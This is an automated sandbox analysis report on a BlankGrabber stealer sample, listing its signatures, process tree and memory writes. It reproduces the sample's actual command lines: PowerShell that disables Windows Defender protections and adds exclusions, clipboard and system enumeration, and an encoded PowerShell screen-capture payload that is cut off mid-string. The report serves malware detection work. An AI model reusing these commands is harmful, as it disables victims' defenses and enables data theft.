Malware Analysis Report

2025-03-15 04:32

Sample ID 241025-22gbfsxcmr
Target Qsr7YteuS.exe
SHA256 15eb82e01bff66f9070d3efa1c5549f7268c5d2917abad748b243a3653b5ba2d
Tags
blankgrabber upx collection credential_access defense_evasion discovery execution spyware stealer
score
10/10

Table of Contents

Analysis Overview

MITRE ATT&CK

Enterprise Matrix V15

Analysis: static1

Detonation Overview

Signatures

Analysis: behavioral1

Detonation Overview

Command Line

Signatures

Processes

Network

Files

Analysis: behavioral2

Detonation Overview

Command Line

Signatures

Processes

Network

Files

Analysis Overview

score
10/10

SHA256

15eb82e01bff66f9070d3efa1c5549f7268c5d2917abad748b243a3653b5ba2d

Threat Level: Known bad

The file Qsr7YteuS.exe was found to be: Known bad.

Malicious Activity Summary

blankgrabber upx collection credential_access defense_evasion discovery execution spyware stealer

A stealer written in Python and packaged with Pyinstaller

Blankgrabber family

Command and Scripting Interpreter: PowerShell

Drops file in Drivers directory

Unsecured Credentials: Credentials In Files

Reads user/profile data of web browsers

Clipboard Data

Executes dropped EXE

Loads dropped DLL

Accesses cryptocurrency files/wallets, possible credential harvesting

Looks up external IP address via web service

Legitimate hosting services abused for malware hosting/C2

Obfuscated Files or Information: Command Obfuscation

UPX packed file

Enumerates processes with tasklist

Browser Information Discovery

Enumerates physical storage devices

Detects videocard installed

Views/modifies file attributes

Suspicious use of AdjustPrivilegeToken

Suspicious behavior: EnumeratesProcesses

Gathers system information

Suspicious use of WriteProcessMemory

MITRE ATT&CK

Analysis: static1

Detonation Overview

Reported

2024-10-25 23:04

Signatures

A stealer written in Python and packaged with Pyinstaller

Description Indicator Process Target
N/A N/A N/A N/A

Blankgrabber family

blankgrabber

Analysis: behavioral1

Detonation Overview

Submitted

2024-10-25 23:04

Reported

2024-10-25 23:07

Platform

win7-20240903-en

Max time kernel

117s

Max time network

119s

Command Line

"C:\Users\Admin\AppData\Local\Temp\Qsr7YteuS.exe"

Signatures

Loads dropped DLL

Description Indicator Process Target
N/A N/A C:\Users\Admin\AppData\Local\Temp\Qsr7YteuS.exe N/A

UPX packed file

upx
Description Indicator Process Target
N/A N/A N/A N/A
N/A N/A N/A N/A

Processes

C:\Users\Admin\AppData\Local\Temp\Qsr7YteuS.exe

"C:\Users\Admin\AppData\Local\Temp\Qsr7YteuS.exe"

C:\Users\Admin\AppData\Local\Temp\Qsr7YteuS.exe

"C:\Users\Admin\AppData\Local\Temp\Qsr7YteuS.exe"

Network

N/A

Files

C:\Users\Admin\AppData\Local\Temp\_MEI20722\python311.dll

MD5 5792adeab1e4414e0129ce7a228eb8b8
SHA1 e9f022e687b6d88d20ee96d9509f82e916b9ee8c
SHA256 7e1370058177d78a415b7ed113cc15472974440d84267fc44cdc5729535e3967
SHA512 c8298b5780a2a5eebed070ac296eda6902b0cac9fda7bb70e21f482d6693d6d2631ca1ac4be96b75ac0dd50c9ca35be5d0aca9c4586ba7e58021edccd482958b

memory/1160-23-0x000007FEF5B00000-0x000007FEF60E9000-memory.dmp

Analysis: behavioral2

Detonation Overview

Submitted

2024-10-25 23:04

Reported

2024-10-25 23:07

Platform

win10v2004-20241007-en

Max time kernel

141s

Max time network

143s

Command Line

"C:\Users\Admin\AppData\Local\Temp\Qsr7YteuS.exe"

Signatures

Drops file in Drivers directory

Description Indicator Process Target
File opened for modification C:\Windows\System32\drivers\etc\hosts C:\Windows\system32\attrib.exe N/A
File opened for modification C:\Windows\System32\drivers\etc\hosts C:\Users\Admin\AppData\Local\Temp\Qsr7YteuS.exe N/A
File opened for modification C:\Windows\System32\drivers\etc\hosts C:\Windows\system32\attrib.exe N/A

Clipboard Data

collection
Description Indicator Process Target
N/A N/A C:\Windows\system32\cmd.exe N/A
N/A N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe N/A

Executes dropped EXE

Description Indicator Process Target
N/A N/A C:\Users\Admin\AppData\Local\Temp\_MEI50122\rar.exe N/A

Reads user/profile data of web browsers

spyware stealer

Unsecured Credentials: Credentials In Files

credential_access stealer

Accesses cryptocurrency files/wallets, possible credential harvesting

spyware

Legitimate hosting services abused for malware hosting/C2

Description Indicator Process Target
N/A discord.com N/A N/A
N/A discord.com N/A N/A

Looks up external IP address via web service

Description Indicator Process Target
N/A ip-api.com N/A N/A

Obfuscated Files or Information: Command Obfuscation

defense_evasion

Enumerates processes with tasklist

discovery
Description Indicator Process Target
N/A N/A C:\Windows\system32\tasklist.exe N/A
N/A N/A C:\Windows\system32\tasklist.exe N/A
N/A N/A C:\Windows\system32\tasklist.exe N/A
N/A N/A C:\Windows\system32\tasklist.exe N/A

UPX packed file

upx
Description Indicator Process Target
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A

Browser Information Discovery

discovery

Enumerates physical storage devices

Detects videocard installed

Description Indicator Process Target
N/A N/A C:\Windows\System32\Wbem\WMIC.exe N/A

Gathers system information

Description Indicator Process Target
N/A N/A C:\Windows\system32\systeminfo.exe N/A

Suspicious behavior: EnumeratesProcesses

Description Indicator Process Target
N/A N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe N/A
N/A N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe N/A
N/A N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe N/A
N/A N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe N/A
N/A N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe N/A
N/A N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe N/A
N/A N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe N/A
N/A N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe N/A
N/A N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe N/A
N/A N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe N/A
N/A N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe N/A
N/A N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe N/A
N/A N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe N/A
N/A N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe N/A
N/A N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe N/A
N/A N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe N/A
N/A N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe N/A
N/A N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe N/A
N/A N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe N/A
N/A N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe N/A
N/A N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe N/A
N/A N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe N/A
N/A N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe N/A
N/A N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe N/A
N/A N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe N/A
N/A N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe N/A
N/A N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe N/A

Suspicious use of AdjustPrivilegeToken

Description Indicator Process Target
Token: SeDebugPrivilege N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe N/A
Token: SeDebugPrivilege N/A C:\Windows\system32\tasklist.exe N/A
Token: SeDebugPrivilege N/A C:\Windows\system32\tasklist.exe N/A
Token: SeDebugPrivilege N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe N/A
Token: SeDebugPrivilege N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe N/A
Token: SeIncreaseQuotaPrivilege N/A C:\Windows\System32\Wbem\WMIC.exe N/A
Token: SeSecurityPrivilege N/A C:\Windows\System32\Wbem\WMIC.exe N/A
Token: SeTakeOwnershipPrivilege N/A C:\Windows\System32\Wbem\WMIC.exe N/A
Token: SeLoadDriverPrivilege N/A C:\Windows\System32\Wbem\WMIC.exe N/A
Token: SeSystemProfilePrivilege N/A C:\Windows\System32\Wbem\WMIC.exe N/A
Token: SeSystemtimePrivilege N/A C:\Windows\System32\Wbem\WMIC.exe N/A
Token: SeProfSingleProcessPrivilege N/A C:\Windows\System32\Wbem\WMIC.exe N/A
Token: SeIncBasePriorityPrivilege N/A C:\Windows\System32\Wbem\WMIC.exe N/A
Token: SeCreatePagefilePrivilege N/A C:\Windows\System32\Wbem\WMIC.exe N/A
Token: SeBackupPrivilege N/A C:\Windows\System32\Wbem\WMIC.exe N/A
Token: SeRestorePrivilege N/A C:\Windows\System32\Wbem\WMIC.exe N/A
Token: SeShutdownPrivilege N/A C:\Windows\System32\Wbem\WMIC.exe N/A
Token: SeDebugPrivilege N/A C:\Windows\System32\Wbem\WMIC.exe N/A
Token: SeSystemEnvironmentPrivilege N/A C:\Windows\System32\Wbem\WMIC.exe N/A
Token: SeRemoteShutdownPrivilege N/A C:\Windows\System32\Wbem\WMIC.exe N/A
Token: SeUndockPrivilege N/A C:\Windows\System32\Wbem\WMIC.exe N/A
Token: SeManageVolumePrivilege N/A C:\Windows\System32\Wbem\WMIC.exe N/A
Token: 33 N/A C:\Windows\System32\Wbem\WMIC.exe N/A
Token: 34 N/A C:\Windows\System32\Wbem\WMIC.exe N/A
Token: 35 N/A C:\Windows\System32\Wbem\WMIC.exe N/A
Token: 36 N/A C:\Windows\System32\Wbem\WMIC.exe N/A
Token: SeDebugPrivilege N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe N/A
Token: SeDebugPrivilege N/A C:\Windows\system32\tasklist.exe N/A
Token: SeIncreaseQuotaPrivilege N/A C:\Windows\System32\Wbem\WMIC.exe N/A
Token: SeSecurityPrivilege N/A C:\Windows\System32\Wbem\WMIC.exe N/A
Token: SeTakeOwnershipPrivilege N/A C:\Windows\System32\Wbem\WMIC.exe N/A
Token: SeLoadDriverPrivilege N/A C:\Windows\System32\Wbem\WMIC.exe N/A
Token: SeSystemProfilePrivilege N/A C:\Windows\System32\Wbem\WMIC.exe N/A
Token: SeSystemtimePrivilege N/A C:\Windows\System32\Wbem\WMIC.exe N/A
Token: SeProfSingleProcessPrivilege N/A C:\Windows\System32\Wbem\WMIC.exe N/A
Token: SeIncBasePriorityPrivilege N/A C:\Windows\System32\Wbem\WMIC.exe N/A
Token: SeCreatePagefilePrivilege N/A C:\Windows\System32\Wbem\WMIC.exe N/A
Token: SeBackupPrivilege N/A C:\Windows\System32\Wbem\WMIC.exe N/A
Token: SeRestorePrivilege N/A C:\Windows\System32\Wbem\WMIC.exe N/A
Token: SeShutdownPrivilege N/A C:\Windows\System32\Wbem\WMIC.exe N/A
Token: SeDebugPrivilege N/A C:\Windows\System32\Wbem\WMIC.exe N/A
Token: SeSystemEnvironmentPrivilege N/A C:\Windows\System32\Wbem\WMIC.exe N/A
Token: SeRemoteShutdownPrivilege N/A C:\Windows\System32\Wbem\WMIC.exe N/A
Token: SeUndockPrivilege N/A C:\Windows\System32\Wbem\WMIC.exe N/A
Token: SeManageVolumePrivilege N/A C:\Windows\System32\Wbem\WMIC.exe N/A
Token: 33 N/A C:\Windows\System32\Wbem\WMIC.exe N/A
Token: 34 N/A C:\Windows\System32\Wbem\WMIC.exe N/A
Token: 35 N/A C:\Windows\System32\Wbem\WMIC.exe N/A
Token: 36 N/A C:\Windows\System32\Wbem\WMIC.exe N/A
Token: SeDebugPrivilege N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe N/A
Token: SeDebugPrivilege N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe N/A
Token: SeDebugPrivilege N/A C:\Windows\system32\tasklist.exe N/A
Token: SeDebugPrivilege N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe N/A
Token: SeIncreaseQuotaPrivilege N/A C:\Windows\System32\Wbem\WMIC.exe N/A
Token: SeSecurityPrivilege N/A C:\Windows\System32\Wbem\WMIC.exe N/A
Token: SeTakeOwnershipPrivilege N/A C:\Windows\System32\Wbem\WMIC.exe N/A
Token: SeLoadDriverPrivilege N/A C:\Windows\System32\Wbem\WMIC.exe N/A
Token: SeSystemProfilePrivilege N/A C:\Windows\System32\Wbem\WMIC.exe N/A
Token: SeSystemtimePrivilege N/A C:\Windows\System32\Wbem\WMIC.exe N/A
Token: SeProfSingleProcessPrivilege N/A C:\Windows\System32\Wbem\WMIC.exe N/A
Token: SeIncBasePriorityPrivilege N/A C:\Windows\System32\Wbem\WMIC.exe N/A
Token: SeCreatePagefilePrivilege N/A C:\Windows\System32\Wbem\WMIC.exe N/A
Token: SeBackupPrivilege N/A C:\Windows\System32\Wbem\WMIC.exe N/A
Token: SeRestorePrivilege N/A C:\Windows\System32\Wbem\WMIC.exe N/A

Suspicious use of WriteProcessMemory

Description Indicator Process Target
PID 5012 wrote to memory of 2840 N/A C:\Users\Admin\AppData\Local\Temp\Qsr7YteuS.exe C:\Users\Admin\AppData\Local\Temp\Qsr7YteuS.exe
PID 5012 wrote to memory of 2840 N/A C:\Users\Admin\AppData\Local\Temp\Qsr7YteuS.exe C:\Users\Admin\AppData\Local\Temp\Qsr7YteuS.exe
PID 2840 wrote to memory of 3304 N/A C:\Users\Admin\AppData\Local\Temp\Qsr7YteuS.exe C:\Windows\system32\cmd.exe
PID 2840 wrote to memory of 3304 N/A C:\Users\Admin\AppData\Local\Temp\Qsr7YteuS.exe C:\Windows\system32\cmd.exe
PID 2840 wrote to memory of 404 N/A C:\Users\Admin\AppData\Local\Temp\Qsr7YteuS.exe C:\Windows\system32\cmd.exe
PID 2840 wrote to memory of 404 N/A C:\Users\Admin\AppData\Local\Temp\Qsr7YteuS.exe C:\Windows\system32\cmd.exe
PID 2840 wrote to memory of 4584 N/A C:\Users\Admin\AppData\Local\Temp\Qsr7YteuS.exe C:\Windows\system32\cmd.exe
PID 2840 wrote to memory of 4584 N/A C:\Users\Admin\AppData\Local\Temp\Qsr7YteuS.exe C:\Windows\system32\cmd.exe
PID 2840 wrote to memory of 3324 N/A C:\Users\Admin\AppData\Local\Temp\Qsr7YteuS.exe C:\Windows\system32\cmd.exe
PID 2840 wrote to memory of 3324 N/A C:\Users\Admin\AppData\Local\Temp\Qsr7YteuS.exe C:\Windows\system32\cmd.exe
PID 3304 wrote to memory of 1792 N/A C:\Windows\system32\cmd.exe C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
PID 3304 wrote to memory of 1792 N/A C:\Windows\system32\cmd.exe C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
PID 2840 wrote to memory of 2328 N/A C:\Users\Admin\AppData\Local\Temp\Qsr7YteuS.exe C:\Windows\system32\cmd.exe
PID 2840 wrote to memory of 2328 N/A C:\Users\Admin\AppData\Local\Temp\Qsr7YteuS.exe C:\Windows\system32\cmd.exe
PID 2840 wrote to memory of 4084 N/A C:\Users\Admin\AppData\Local\Temp\Qsr7YteuS.exe C:\Windows\system32\cmd.exe
PID 2840 wrote to memory of 4084 N/A C:\Users\Admin\AppData\Local\Temp\Qsr7YteuS.exe C:\Windows\system32\cmd.exe
PID 4084 wrote to memory of 2036 N/A C:\Windows\system32\cmd.exe C:\Windows\system32\tasklist.exe
PID 4084 wrote to memory of 2036 N/A C:\Windows\system32\cmd.exe C:\Windows\system32\tasklist.exe
PID 2328 wrote to memory of 4124 N/A C:\Windows\system32\cmd.exe C:\Windows\system32\tasklist.exe
PID 2328 wrote to memory of 4124 N/A C:\Windows\system32\cmd.exe C:\Windows\system32\tasklist.exe
PID 2840 wrote to memory of 4348 N/A C:\Users\Admin\AppData\Local\Temp\Qsr7YteuS.exe C:\Windows\system32\cmd.exe
PID 2840 wrote to memory of 4348 N/A C:\Users\Admin\AppData\Local\Temp\Qsr7YteuS.exe C:\Windows\system32\cmd.exe
PID 2840 wrote to memory of 1432 N/A C:\Users\Admin\AppData\Local\Temp\Qsr7YteuS.exe C:\Windows\System32\Conhost.exe
PID 2840 wrote to memory of 1432 N/A C:\Users\Admin\AppData\Local\Temp\Qsr7YteuS.exe C:\Windows\System32\Conhost.exe
PID 4584 wrote to memory of 4640 N/A C:\Windows\system32\cmd.exe C:\Windows\system32\mshta.exe
PID 4584 wrote to memory of 4640 N/A C:\Windows\system32\cmd.exe C:\Windows\system32\mshta.exe
PID 2840 wrote to memory of 3820 N/A C:\Users\Admin\AppData\Local\Temp\Qsr7YteuS.exe C:\Windows\system32\cmd.exe
PID 2840 wrote to memory of 3820 N/A C:\Users\Admin\AppData\Local\Temp\Qsr7YteuS.exe C:\Windows\system32\cmd.exe
PID 2840 wrote to memory of 2184 N/A C:\Users\Admin\AppData\Local\Temp\Qsr7YteuS.exe C:\Windows\system32\cmd.exe
PID 2840 wrote to memory of 2184 N/A C:\Users\Admin\AppData\Local\Temp\Qsr7YteuS.exe C:\Windows\system32\cmd.exe
PID 3324 wrote to memory of 1988 N/A C:\Windows\system32\cmd.exe C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
PID 3324 wrote to memory of 1988 N/A C:\Windows\system32\cmd.exe C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
PID 404 wrote to memory of 3104 N/A C:\Windows\system32\cmd.exe C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
PID 404 wrote to memory of 3104 N/A C:\Windows\system32\cmd.exe C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
PID 2840 wrote to memory of 2992 N/A C:\Users\Admin\AppData\Local\Temp\Qsr7YteuS.exe C:\Windows\system32\cmd.exe
PID 2840 wrote to memory of 2992 N/A C:\Users\Admin\AppData\Local\Temp\Qsr7YteuS.exe C:\Windows\system32\cmd.exe
PID 2840 wrote to memory of 3708 N/A C:\Users\Admin\AppData\Local\Temp\Qsr7YteuS.exe C:\Windows\system32\cmd.exe
PID 2840 wrote to memory of 3708 N/A C:\Users\Admin\AppData\Local\Temp\Qsr7YteuS.exe C:\Windows\system32\cmd.exe
PID 2840 wrote to memory of 1452 N/A C:\Users\Admin\AppData\Local\Temp\Qsr7YteuS.exe C:\Windows\system32\cmd.exe
PID 2840 wrote to memory of 1452 N/A C:\Users\Admin\AppData\Local\Temp\Qsr7YteuS.exe C:\Windows\system32\cmd.exe
PID 4348 wrote to memory of 1196 N/A C:\Windows\system32\cmd.exe C:\Windows\System32\Wbem\WMIC.exe
PID 4348 wrote to memory of 1196 N/A C:\Windows\system32\cmd.exe C:\Windows\System32\Wbem\WMIC.exe
PID 1432 wrote to memory of 4644 N/A C:\Windows\system32\cmd.exe C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
PID 1432 wrote to memory of 4644 N/A C:\Windows\system32\cmd.exe C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
PID 2184 wrote to memory of 1872 N/A C:\Windows\system32\cmd.exe C:\Windows\system32\tree.com
PID 2184 wrote to memory of 1872 N/A C:\Windows\system32\cmd.exe C:\Windows\system32\tree.com
PID 3820 wrote to memory of 2052 N/A C:\Windows\system32\cmd.exe C:\Windows\system32\tasklist.exe
PID 3820 wrote to memory of 2052 N/A C:\Windows\system32\cmd.exe C:\Windows\system32\tasklist.exe
PID 1452 wrote to memory of 4484 N/A C:\Windows\system32\cmd.exe C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
PID 1452 wrote to memory of 4484 N/A C:\Windows\system32\cmd.exe C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
PID 3708 wrote to memory of 1144 N/A C:\Windows\system32\cmd.exe C:\Windows\system32\reg.exe
PID 3708 wrote to memory of 1144 N/A C:\Windows\system32\cmd.exe C:\Windows\system32\reg.exe
PID 2992 wrote to memory of 2996 N/A C:\Windows\system32\cmd.exe C:\Windows\system32\systeminfo.exe
PID 2992 wrote to memory of 2996 N/A C:\Windows\system32\cmd.exe C:\Windows\system32\systeminfo.exe
PID 2840 wrote to memory of 2264 N/A C:\Users\Admin\AppData\Local\Temp\Qsr7YteuS.exe C:\Windows\system32\cmd.exe
PID 2840 wrote to memory of 2264 N/A C:\Users\Admin\AppData\Local\Temp\Qsr7YteuS.exe C:\Windows\system32\cmd.exe
PID 2840 wrote to memory of 1592 N/A C:\Users\Admin\AppData\Local\Temp\Qsr7YteuS.exe C:\Windows\system32\cmd.exe
PID 2840 wrote to memory of 1592 N/A C:\Users\Admin\AppData\Local\Temp\Qsr7YteuS.exe C:\Windows\system32\cmd.exe
PID 2264 wrote to memory of 2360 N/A C:\Windows\system32\cmd.exe C:\Windows\system32\tree.com
PID 2264 wrote to memory of 2360 N/A C:\Windows\system32\cmd.exe C:\Windows\system32\tree.com
PID 2840 wrote to memory of 4284 N/A C:\Users\Admin\AppData\Local\Temp\Qsr7YteuS.exe C:\Windows\system32\cmd.exe
PID 2840 wrote to memory of 4284 N/A C:\Users\Admin\AppData\Local\Temp\Qsr7YteuS.exe C:\Windows\system32\cmd.exe
PID 1592 wrote to memory of 912 N/A C:\Windows\system32\cmd.exe C:\Windows\system32\attrib.exe
PID 1592 wrote to memory of 912 N/A C:\Windows\system32\cmd.exe C:\Windows\system32\attrib.exe

Views/modifies file attributes

evasion
Description Indicator Process Target
N/A N/A C:\Windows\system32\attrib.exe N/A
N/A N/A C:\Windows\system32\attrib.exe N/A

Processes

C:\Users\Admin\AppData\Local\Temp\Qsr7YteuS.exe

"C:\Users\Admin\AppData\Local\Temp\Qsr7YteuS.exe"

C:\Users\Admin\AppData\Local\Temp\Qsr7YteuS.exe

"C:\Users\Admin\AppData\Local\Temp\Qsr7YteuS.exe"

C:\Windows\system32\cmd.exe

C:\Windows\system32\cmd.exe /c "powershell -Command Add-MpPreference -ExclusionPath 'C:\Users\Admin\AppData\Local\Temp\Qsr7YteuS.exe'"

C:\Windows\system32\cmd.exe

C:\Windows\system32\cmd.exe /c "powershell Set-MpPreference -DisableIntrusionPreventionSystem $true -DisableIOAVProtection $true -DisableRealtimeMonitoring $true -DisableScriptScanning $true -EnableControlledFolderAccess Disabled -EnableNetworkProtection AuditMode -Force -MAPSReporting Disabled -SubmitSamplesConsent NeverSend && powershell Set-MpPreference -SubmitSamplesConsent 2 & "%ProgramFiles%\Windows Defender\MpCmdRun.exe" -RemoveDefinitions -All"

C:\Windows\system32\cmd.exe

C:\Windows\system32\cmd.exe /c "mshta "javascript:var sh=new ActiveXObject('WScript.Shell'); sh.Popup('DISABLE VIRTULIZATION DM #iowneac', 0, 'disable virt ', 0+16);close()""

C:\Windows\system32\cmd.exe

C:\Windows\system32\cmd.exe /c "powershell -Command Add-MpPreference -ExclusionPath 'C:\ProgramData\Microsoft\Windows\Start Menu\Programs\StartUp\  ‏  .scr'"

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

powershell -Command Add-MpPreference -ExclusionPath 'C:\Users\Admin\AppData\Local\Temp\Qsr7YteuS.exe'

C:\Windows\system32\cmd.exe

C:\Windows\system32\cmd.exe /c "tasklist /FO LIST"

C:\Windows\system32\cmd.exe

C:\Windows\system32\cmd.exe /c "tasklist /FO LIST"

C:\Windows\system32\tasklist.exe

tasklist /FO LIST

C:\Windows\system32\tasklist.exe

tasklist /FO LIST

C:\Windows\system32\cmd.exe

C:\Windows\system32\cmd.exe /c "WMIC /Node:localhost /Namespace:\\root\SecurityCenter2 Path AntivirusProduct Get displayName"

C:\Windows\system32\cmd.exe

C:\Windows\system32\cmd.exe /c "powershell Get-Clipboard"

C:\Windows\system32\mshta.exe

mshta "javascript:var sh=new ActiveXObject('WScript.Shell'); sh.Popup('DISABLE VIRTULIZATION DM #iowneac', 0, 'disable virt ', 0+16);close()"

C:\Windows\system32\cmd.exe

C:\Windows\system32\cmd.exe /c "tasklist /FO LIST"

C:\Windows\system32\cmd.exe

C:\Windows\system32\cmd.exe /c "tree /A /F"

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

powershell -Command Add-MpPreference -ExclusionPath 'C:\ProgramData\Microsoft\Windows\Start Menu\Programs\StartUp\  ‏  .scr'

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

powershell Set-MpPreference -DisableIntrusionPreventionSystem $true -DisableIOAVProtection $true -DisableRealtimeMonitoring $true -DisableScriptScanning $true -EnableControlledFolderAccess Disabled -EnableNetworkProtection AuditMode -Force -MAPSReporting Disabled -SubmitSamplesConsent NeverSend

C:\Windows\system32\cmd.exe

C:\Windows\system32\cmd.exe /c "systeminfo"

C:\Windows\system32\cmd.exe

C:\Windows\system32\cmd.exe /c "REG QUERY HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\Tcpip\Parameters /V DataBasePath"

C:\Windows\system32\cmd.exe

C:\Windows\system32\cmd.exe /c "powershell.exe -NoProfile -ExecutionPolicy Bypass -EncodedCommand JABzAG8AdQByAGMAZQAgAD0AIABAACIADQAKAHUAcwBpAG4AZwAgAFMAeQBzAHQAZQBtADsADQAKAHUAcwBpAG4AZwAgAFMAeQBzAHQAZQBtAC4AQwBvAGwAbABlAGMAdABpAG8AbgBzAC4ARwBlAG4AZQByAGkAYwA7AA0ACgB1AHMAaQBuAGcAIABTAHkAcwB0AGUAbQAuAEQAcgBhAHcAaQBuAGcAOwANAAoAdQBzAGkAbgBnACAAUwB5AHMAdABlAG0ALgBXAGkAbgBkAG8AdwBzAC4ARgBvAHIAbQBzADsADQAKAA0ACgBwAHUAYgBsAGkAYwAgAGMAbABhAHMAcwAgAFMAYwByAGUAZQBuAHMAaABvAHQADQAKAHsADQAKACAAIAAgACAAcAB1AGIAbABpAGMAIABzAHQAYQB0AGkAYwAgAEwAaQBzAHQAPABCAGkAdABtAGEAcAA+ACAAQwBhAHAAdAB1AHIAZQBTAGMAcgBlAGUAbgBzACgAKQANAAoAIAAgACAAIAB7AA0ACgAgACAAIAAgACAAIAAgACAAdgBhAHIAIAByAGUAcwB1AGwAdABzACAAPQAgAG4AZQB3ACAATABpAHMAdAA8AEIAaQB0AG0AYQBwAD4AKAApADsADQAKACAAIAAgACAAIAAgACAAIAB2AGEAcgAgAGEAbABsAFMAYwByAGUAZQBuAHMAIAA9ACAAUwBjAHIAZQBlAG4ALgBBAGwAbABTAGMAcgBlAGUAbgBzADsADQAKAA0ACgAgACAAIAAgACAAIAAgACAAZgBvAHIAZQBhAGMAaAAgACgAUwBjAHIAZQBlAG4AIABzAGMAcgBlAGUAbgAgAGkAbgAgAGEAbABsAFMAYwByAGUAZQBuAHMAKQANAAoAIAAgACAAIAAgACAAIAAgAHsADQAKACAAIAAgACAAIAAgACAAIAAgACAAIAAgAHQAcgB5AA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAB7AA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAFIAZQBjAHQAYQBuAGcAbABlACAAYgBvAHUAbgBkAHMAIAA9ACAAcwBjAHIAZQBlAG4ALgBCAG8AdQBuAGQAcwA7AA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAHUAcwBpAG4AZwAgACgAQgBpAHQAbQBhAHAAIABiAGkAdABtAGEAcAAgAD0AIABuAGUAdwAgAEIAaQB0AG0AYQBwACgAYgBvAHUAbgBkAHMALgBXAGkAZAB0AGgALAAgAGIAbwB1AG4AZABzAC4ASABlAGkAZwBoAHQAKQApAA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAHsADQAKACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAB1AHMAaQBuAGcAIAAoAEcAcgBhAHAAaABpAGMAcwAgAGcAcgBhAHAAaABpAGMAcwAgAD0AIABHAHIAYQBwAGgAaQBjAHMALgBGAHIAbwBtAEkAbQBhAGcAZQAoAGIAaQB0AG0AYQBwACkAKQANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAHsADQAKACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAGcAcgBhAHAAaABpAGMAcwAuAEMAbwBwAHkARgByAG8AbQBTAGMAcgBlAGUAbgAoAG4AZQB3ACAAUABvAGkAbgB0ACgAYgBvAHUAbgBkAHMALgBMAGUAZgB0ACwAIABiAG8AdQBuAGQAcwAuAFQAbwBwACkALAAgAFAAbwBpAG4AdAAuAEUAbQBwAHQAe